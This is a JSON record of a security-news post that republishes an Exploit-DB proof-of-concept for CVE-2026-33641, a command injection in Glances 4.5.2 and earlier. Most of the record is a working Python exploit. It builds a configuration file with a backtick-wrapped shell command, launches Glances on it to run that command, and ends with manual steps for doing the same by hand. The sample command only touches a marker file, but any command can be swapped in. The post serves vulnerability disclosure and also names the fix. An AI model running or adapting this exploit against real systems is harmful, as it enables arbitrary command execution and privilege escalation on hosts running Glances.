{"id":54039,"date":"2026-05-13T09:32:43","date_gmt":"2026-05-13T09:32:43","guid":{"rendered":"https:\/\/zero.redgem.net\/?p=54039"},"modified":"2026-05-13T09:32:43","modified_gmt":"2026-05-13T09:32:43","slug":"glances-452-command-injection","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=54039","title":{"rendered":"glances 4.5.2 &#8211; command injection_EDB-ID:52559"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-05-13T13:44:39&#8243;,&#8221;description&#8221;:&#8221;!\/usr\/bin\/env python3 Exploit Title: glances 4.5.2 &#8211; command injection Date: 2026-04-09 Exploit Author: Stepanov Daniil Vendor Homepage: https:\/\/github.com\/nicolargo\/glances Software Link: https:\/\/github.com\/nicolargo\/glances Version: 4.5.2 and below&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-05-13T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-05-13T00:00:00&#8243;,&#8221;type&#8221;:&#8221;exploitdb&#8221;,&#8221;title&#8221;:&#8221;glances 4.5.2 &#8211; command injection&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;EDB-ID:52559&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2026-33641&#8243;],&#8221;sourceData&#8221;:&#8221;#!\/usr\/bin\/env python3\\r\\n# Exploit Title: glances 4.5.2 &#8211; command injection\\r\\n# Date: 2026-04-09\\r\\n# Exploit Author: Stepanov Daniil\\r\\n# Vendor Homepage: https:\/\/github.com\/nicolargo\/glances\\r\\n# Software Link: https:\/\/github.com\/nicolargo\/glances\\r\\n# Version: 4.5.2 and below (fixed in 4.5.3)\\r\\n# Tested on: Kali Linux 2026.1, Ubuntu 22.04\\r\\n# CVE: CVE-2026-33641\\r\\n# CWE: CWE-78 (Improper Neutralization of Special Elements used in an OS Command)\\r\\n\\r\\n&#8221;&#8217;\\r\\nVulnerability Description:\\r\\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;\\r\\nGlances versions prior to 4.5.3 support dynamic configuration values in which \\r\\nsubstrings enclosed in backticks are executed as system commands during \\r\\nconfiguration parsing. This behavior occurs in Config.get_value() and is \\r\\nimplemented without validation or restriction of the executed commands.\\r\\n\\r\\nIf an attacker can modify or influence configuration files, arbitrary commands \\r\\nwill execute automatically with the privileges of the Glances process during \\r\\nstartup or configuration reload. In deployments where Glances runs with \\r\\nelevated privileges (e.g., as a system service), this may lead to privilege \\r\\nescalation.\\r\\n\\r\\nCVSS Score: 7.8 (HIGH) &#8211; CVSS:3.1\/AV:L\/AC:L\/PR:L\/UI:N\/S:U\/C:H\/I:H\/A:H\\r\\n\\r\\nAffected component: glances\/config.py and glances\/globals.py\\r\\n\\r\\nCredit: Discovered by Stepanov Daniil\\r\\n&#8221;&#8217;\\r\\n\\r\\nimport subprocess\\r\\nimport os\\r\\nimport sys\\r\\nimport tempfile\\r\\n\\r\\ndef create_malicious_config(command):\\r\\n    \\&#8221;\\&#8221;\\&#8221;\\r\\n    Create a malicious Glances configuration file that executes arbitrary commands.\\r\\n    \\r\\n    The vulnerable Config.get_value() method scans for substrings enclosed in \\r\\n    backticks and executes them via system_exec(), which uses subprocess.run()\\r\\n    with shell=False but the backticks are extracted and executed.\\r\\n    \\r\\n    Vulnerable code in glances\/config.py:\\r\\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;\\r\\n    match = self.re_pattern.findall(ret)\\r\\n    for m in match:\\r\\n        ret = ret.replace(m, system_exec(m[1:-1]))\\r\\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;\\r\\n    \\r\\n    Vulnerable code in glances\/globals.py:\\r\\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;\\r\\n    def system_exec(command, timeout=5):\\r\\n        res = subprocess.run(command.split(&#8216; &#8216;), stdout=subprocess.PIPE,\\r\\n                            timeout=timeout).stdout.decode(&#8216;utf-8&#8242;)\\r\\n        return res\\r\\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;\\r\\n    \\&#8221;\\&#8221;\\&#8221;\\r\\n    \\r\\n    config_content = f\\&#8221;\\&#8221;\\&#8221;\\r\\n[outputs]\\r\\nurl_prefix = `{command}`\\r\\n\\&#8221;\\&#8221;\\&#8221;\\r\\n    \\r\\n    # Create temporary configuration file\\r\\n    config_file = tempfile.NamedTemporaryFile(mode=&#8217;w&#8217;, suffix=&#8217;.conf&#8217;, delete=False)\\r\\n    config_file.write(config_content)\\r\\n    config_file.close()\\r\\n    \\r\\n    return config_file.name\\r\\n\\r\\ndef exploit():\\r\\n    \\&#8221;\\&#8221;\\&#8221;\\r\\n    Proof of Concept: Execute arbitrary commands via Glances configuration.\\r\\n    \\&#8221;\\&#8221;\\&#8221;\\r\\n    \\r\\n    print(\\&#8221;[+] CVE-2026-33641 &#8211; Glances Command Injection PoC\\&#8221;)\\r\\n    print(\\&#8221;[+] Exploit Author: Stepanov Daniil\\&#8221;)\\r\\n    print()\\r\\n    \\r\\n    # Command to execute (create a file in \/tmp as proof)\\r\\n    test_file = \\&#8221;\/tmp\/glances_pwned\\&#8221;\\r\\n    command = f\\&#8221;touch {test_file}\\&#8221;\\r\\n    \\r\\n    print(f\\&#8221;[+] Creating malicious config with command: {command}\\&#8221;)\\r\\n    config_path = create_malicious_config(command)\\r\\n    print(f\\&#8221;[+] Config file created: {config_path}\\&#8221;)\\r\\n    \\r\\n    print(f\\&#8221;[+] Launching Glances with malicious config&#8230;\\&#8221;)\\r\\n    print(\\&#8221;[+] If vulnerable, the command will execute during config parsing\\&#8221;)\\r\\n    print()\\r\\n    \\r\\n    # Execute Glances with the malicious config\\r\\n    # Note: Glances must be installed in the environment\\r\\n    try:\\r\\n        result = subprocess.run(\\r\\n            [\\&#8221;glances\\&#8221;, \\&#8221;-C\\&#8221;, config_path, \\&#8221;&#8211;timeout\\&#8221;, \\&#8221;2\\&#8221;],\\r\\n            capture_output=True,\\r\\n            text=True,\\r\\n            timeout=5\\r\\n        )\\r\\n    except FileNotFoundError:\\r\\n        print(\\&#8221;[!] Error: Glances is not installed or not in PATH\\&#8221;)\\r\\n        print(\\&#8221;[!] Install with: pip install glances==4.5.2\\&#8221;)\\r\\n        sys.exit(1)\\r\\n    except subprocess.TimeoutExpired:\\r\\n        pass  # Glances may run indefinitely, that&#8217;s fine\\r\\n    \\r\\n    # Check if the command was executed\\r\\n    print(\\&#8221;[+] Checking if command was executed&#8230;\\&#8221;)\\r\\n    if os.path.exists(test_file):\\r\\n        print(f\\&#8221;[\u2713] SUCCESS! File created: {test_file}\\&#8221;)\\r\\n        print(\\&#8221;[\u2713] Command injection confirmed!\\&#8221;)\\r\\n        print(\\&#8221;[!] Vulnerability exists in this version of Glances\\&#8221;)\\r\\n        os.remove(test_file)\\r\\n    else:\\r\\n        print(\\&#8221;[\u2717] File not found. Either the vulnerability is patched\\&#8221;)\\r\\n        print(\\&#8221;    or the command could not be executed.\\&#8221;)\\r\\n    \\r\\n    # Cleanup\\r\\n    os.unlink(config_path)\\r\\n    print(f\\&#8221;\\\\n[+] Cleanup complete: {config_path} removed\\&#8221;)\\r\\n    \\r\\n    print(\\&#8221;\\\\n[+] For more information, visit:\\&#8221;)\\r\\n    print(\\&#8221;    https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2026-33641\\&#8221;)\\r\\n\\r\\ndef manual_verification_guide():\\r\\n    \\&#8221;\\&#8221;\\&#8221;\\r\\n    Alternative manual verification method if Glances is not in PATH.\\r\\n    \\&#8221;\\&#8221;\\&#8221;\\r\\n    print(\\&#8221;\\\\n\\&#8221; + \\&#8221;=\\&#8221;*60)\\r\\n    print(\\&#8221;MANUAL VERIFICATION GUIDE\\&#8221;)\\r\\n    print(\\&#8221;=\\&#8221;*60)\\r\\n    print(\\&#8221;\\&#8221;\\&#8221;\\r\\nIf Glances is not installed, you can verify the vulnerability by:\\r\\n1. Create a file \/tmp\/malicious.conf with:\\r\\n   [outputs]\\r\\n   url_prefix = `touch \/tmp\/glances_pwned`\\r\\n\\r\\n2. Run: glances -C \/tmp\/malicious.conf\\r\\n\\r\\n3. Check if \/tmp\/glances_pwned exists\\r\\n\\&#8221;\\&#8221;\\&#8221;)\\r\\n\\r\\nif __name__ == \\&#8221;__main__\\&#8221;:\\r\\n    exploit()\\r\\n    manual_verification_guide()\\r\\n\\r\\n# Additional notes for Exploit-DB:\\r\\n# &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\r\\n# Impact:\\r\\n# &#8211; Arbitrary command execution with privileges of Glances process\\r\\n# &#8211; Often Glances runs with elevated privileges (root\/sudo)\\r\\n# &#8211; Can lead to complete system compromise\\r\\n#\\r\\n# Fix:\\r\\n# &#8211; Upgrade to Glances version 4.5.3 or higher\\r\\n# &#8211; The dynamic backtick execution feature was completely removed\\r\\n#\\r\\n# References:\\r\\n# &#8211; https:\/\/github.com\/nicolargo\/glances\/security\/advisories\/GHSA-qhj7-v7h7-q4c7\\r\\n# &#8211; https:\/\/github.com\/nicolargo\/glances\/releases\/tag\/v4.5.3&#8243;,&#8221;sourceHref&#8221;:&#8221;https:\/\/www.exploit-db.com\/raw\/52559&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:7.8,&#8221;severity&#8221;:&#8221;HIGH&#8221;,&#8221;vector&#8221;:&#8221;CVSS:3.1\/AV:L\/AC:L\/PR:L\/UI:N\/S:U\/C:H\/I:H\/A:H&#8221;,&#8221;version&#8221;:&#8221;3.1&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/www.exploit-db.com\/exploits\/52559&#8243;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-05-13T13:44:39&#8243;,&#8221;description&#8221;:&#8221;!\/usr\/bin\/env python3 Exploit Title: glances 4.5.2 &#8211; command injection Date: 2026-04-09 Exploit Author: Stepanov Daniil Vendor Homepage: https:\/\/github.com\/nicolargo\/glances Software Link: https:\/\/github.com\/nicolargo\/glances Version: 4.5.2 and below&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-05-13T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-05-13T00:00:00&#8243;,&#8221;type&#8221;:&#8221;exploitdb&#8221;,&#8221;title&#8221;:&#8221;glances&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,28,12,40,15,13,7,11,5],"class_list":["post-54039","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-78","tag-exploit","tag-exploitdb","tag-high","tag-news","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>glances 4.5.2 - command injection_EDB-ID:52559 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=54039\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"glances 4.5.2 - command injection_EDB-ID:52559 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2026-05-13T13:44:39&#8243;,&#8221;description&#8221;:&#8221;!\/usr\/bin\/env python3 Exploit Title: glances 4.5.2 &#8211; command injection Date: 2026-04-09 Exploit Author: Stepanov Daniil Vendor Homepage: https:\/\/github.com\/nicolargo\/glances Software Link: https:\/\/github.com\/nicolargo\/glances Version: 4.5.2 and below&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-05-13T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-05-13T00:00:00&#8243;,&#8221;type&#8221;:&#8221;exploitdb&#8221;,&#8221;title&#8221;:&#8221;glances...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=54039\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2026-05-13T09:32:43+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"6 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=54039#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=54039\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"glances 4.5.2 &#8211; command injection_EDB-ID:52559\",\"datePublished\":\"2026-05-13T09:32:43+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=54039\"},\"wordCount\":1145,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"CVSS-7.8\",\"exploit\",\"exploitdb\",\"HIGH\",\"news\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=54039#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=54039\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=54039\",\"name\":\"glances 4.5.2 - command injection_EDB-ID:52559 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2026-05-13T09:32:43+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=54039#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=54039\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=54039#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"glances 4.5.2 &#8211; command injection_EDB-ID:52559\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"glances 4.5.2 - command injection_EDB-ID:52559 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=54039","og_locale":"en_US","og_type":"article","og_title":"glances 4.5.2 - command injection_EDB-ID:52559 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2026-05-13T13:44:39&#8243;,&#8221;description&#8221;:&#8221;!\/usr\/bin\/env python3 Exploit Title: glances 4.5.2 &#8211; command injection Date: 2026-04-09 Exploit Author: Stepanov Daniil Vendor Homepage: https:\/\/github.com\/nicolargo\/glances Software Link: https:\/\/github.com\/nicolargo\/glances Version: 4.5.2 and below&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-05-13T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-05-13T00:00:00&#8243;,&#8221;type&#8221;:&#8221;exploitdb&#8221;,&#8221;title&#8221;:&#8221;glances...","og_url":"https:\/\/zero.redgem.net\/?p=54039","og_site_name":"zero redgem","article_published_time":"2026-05-13T09:32:43+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"6 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=54039#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=54039"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"glances 4.5.2 &#8211; command injection_EDB-ID:52559","datePublished":"2026-05-13T09:32:43+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=54039"},"wordCount":1145,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","CVSS-7.8","exploit","exploitdb","HIGH","news","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=54039#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=54039","url":"https:\/\/zero.redgem.net\/?p=54039","name":"glances 4.5.2 - command injection_EDB-ID:52559 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2026-05-13T09:32:43+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=54039#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=54039"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=54039#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"glances 4.5.2 &#8211; command injection_EDB-ID:52559"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/54039","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=54039"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/54039\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=54039"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=54039"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=54039"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}